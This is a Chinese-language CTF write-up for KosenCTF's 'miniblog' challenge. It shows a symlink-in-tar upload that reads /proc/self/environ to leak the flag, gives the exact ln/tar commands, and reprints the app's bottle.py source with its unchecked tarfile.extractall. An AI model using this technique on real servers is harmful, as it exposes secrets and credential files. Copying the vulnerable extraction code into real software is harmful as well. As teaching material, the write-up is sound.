miniblog (KosenCTF)

Lysithea 2023-10-03 21:50:07 737 0


进入环境后,是一个登录/注册页面,F12看不出什么信息,特别是标头没有服务端的信息。

正常注册后登录,进入博客主要页面,可以上传博客,查看博客,更改模板,查看附件文件名,上传附件

有一篇GREETING的博客介绍了网站的基本功能,也可以自己先玩一玩。上传里可以指定title和content,模板里可以看到对应的HTML模板,用`{{}}`的模板语法可以引用这些变量。可以上传tar/tar.gz格式的附件,后台会自动解压,就可以在模板里引用,并在博客里使用了,容易注意到,后台会把解压后的文件进行base64编码(就像对示例图片做的一样)

然后就有一个想法,如果我们打包一个软链接进tar上传,我们或许可以实现任意文件读取。尝试了一下果然行得通,于是开始取证。最终在/proc/self/environ的环境变量中,找到名为FLAG的环境变量。

ln -s /proc/self/environ environ_hook
tar cvf environ.tar environ_hook
# 把environ.tar上传附件,改模板为{{attachment_environ_hook}},随意上传一篇博客,把返回值base64解码



最后,根据environ中的PWD以及/proc/self/cmdline,可以找到源码位置(感觉一般的题找到源码才刚刚开始,这题比较简单),终于知道对应的后端是bottle.py,勾出来的源码学习一下

from gevent import monkey
monkey.patch_all() from bottle import route, run, template, request, abort, response, redirect, static_file from hashlib import sha1 import os from uuid import uuid4 from shutil import copytree import re import glob import base64 import tarfile salt = os.urandom(16) users = {} login_users = {} def get_username(): token = request.get_cookie("login_token") return login_users.get(token, None) @route('/register', method="POST") def do_register(): username=request.forms.get("username") password=request.forms.get("password") if not username or not password: return abort(400) if username in users: return abort(400, "username already userd") users[username] = { "password_hash": sha1(salt + password.encode()).hexdigest(), "id": uuid4().hex, } copytree("user_template", "userdir/{}".format(users[username]["id"])) redirect("/") @route('/login', method="POST") def do_login(): username=request.forms.get("username") password=request.forms.get("password") if not username or not password: return abort(400) if username not in users: return abort(400, "login failed") if users[username]["password_hash"] != sha1(salt + password.encode()).hexdigest(): return abort(400, "login failed") token = uuid4().hex login_users[token] = username response.set_cookie("login_token", token, path="/") redirect("/") @route("/logout") def do_logout(): token = request.get_cookie("login_token") del login_users[token] redirect("/") @route("/update", method="POST") def do_update_template(): username = get_username() if not username: return abort(400) content = request.forms.get("content") if not content: return abort(400) if "%" in content: return abort(400, "forbidden") for brace in re.findall(r"{{.*?}}", content): if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace): return abort(400, "forbidden") template_path = "userdir/{userid}/template".format(userid=users[username]["id"]) with open(template_path, "w") as f: f.write(content) redirect("/") @route("/upload", method="POST") def do_upload(): username = get_username() if not username: return abort(400) attachment = request.files.get("attachment") if not attachment: return abort(400) tarpath = 'tmp/{}'.format(uuid4().hex) attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"]) attachment.save(tarpath) try: tarfile.open(tarpath).extractall(path=attachments_dir) except (ValueError, RuntimeError): pass os.remove(tarpath) redirect("/") @route("/post", method="POST") def do_post(): username = get_username() if not username: return abort(400) title = request.forms.get("title") content = request.forms.get("content") postid = uuid4().hex title_path = "userdir/{userid}/titles/{postid}".format(userid=users[username]["id"], postid=postid) post_path = "userdir/{userid}/posts/{postid}".format(userid=users[username]["id"], postid=postid) with open(title_path, "w") as f: f.write(title) with open(post_path, "w") as f: f.write(content) redirect("/posts/{userid}/{postid}".format(userid=users[username]["id"], postid=postid)) @route("/posts/<userid>/<postid>") def view_post(userid, postid): if not re.match("[0-9a-f]{32}", userid) or not re.match("[0-9a-f]{32}", postid): return abort(400) template_path = "userdir/{userid}/template".format(userid=userid) with open(template_path, "r") as f: t = f.read() title_path = "userdir/{userid}/titles/{postid}".format(userid=userid, postid=postid) with open(title_path, "r") as f: title = f.read() post_path = "userdir/{userid}/posts/{postid}".format(userid=userid, postid=postid) with open(post_path, "r") as f: p = f.read() attachments={} attachments_dir = "userdir/{userid}/attachments/".format(userid=userid) for path in glob.glob(attachments_dir+"*"): if os.path.isfile(path): with open(path, "rb") as f: attachments["attachment_" + os.path.splitext(os.path.basename(path))[0]] = base64.b64encode(f.read()) stat = os.stat(post_path) return template(t, title=title, content=p, last_update=stat.st_mtime, **attachments) @route("/") def index(): username = get_username() if username: userid = users[username]["id"] template_path = "userdir/{userid}/template".format(userid=userid) with open(template_path, "r") as f: t = f.read() posts={} posts_dir = "userdir/{userid}/titles/".format(userid=userid) for path in glob.glob(posts_dir+"*"): if os.path.isfile(path): with open(path, "r") as f: posts[f.read().strip()] = os.path.basename(path) attachments=[] attachments_dir = "userdir/{userid}/attachments/".format(userid=userid) for path in glob.glob(attachments_dir+"*"): if os.path.isfile(path): attachments.append("attachment_" + os.path.splitext(os.path.basename(path))[0]) return template(open("views/user.html").read(), username=username, userid=userid, template=t, posts=posts, attachments=attachments) else: return static_file("index.html", root="views/") if __name__ == "__main__": run(host='', port=14000, debug=False, server='gevent')
分类:WEB
image
作者:Lysithea

5

提交

0

收入

相关WriteUP

  • sqli-0x1 Writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • [HackINI-2022] lfi WriteUp

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • just-work-type

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • Fetus Web

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 7月前
  • post-the-get

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
问题反馈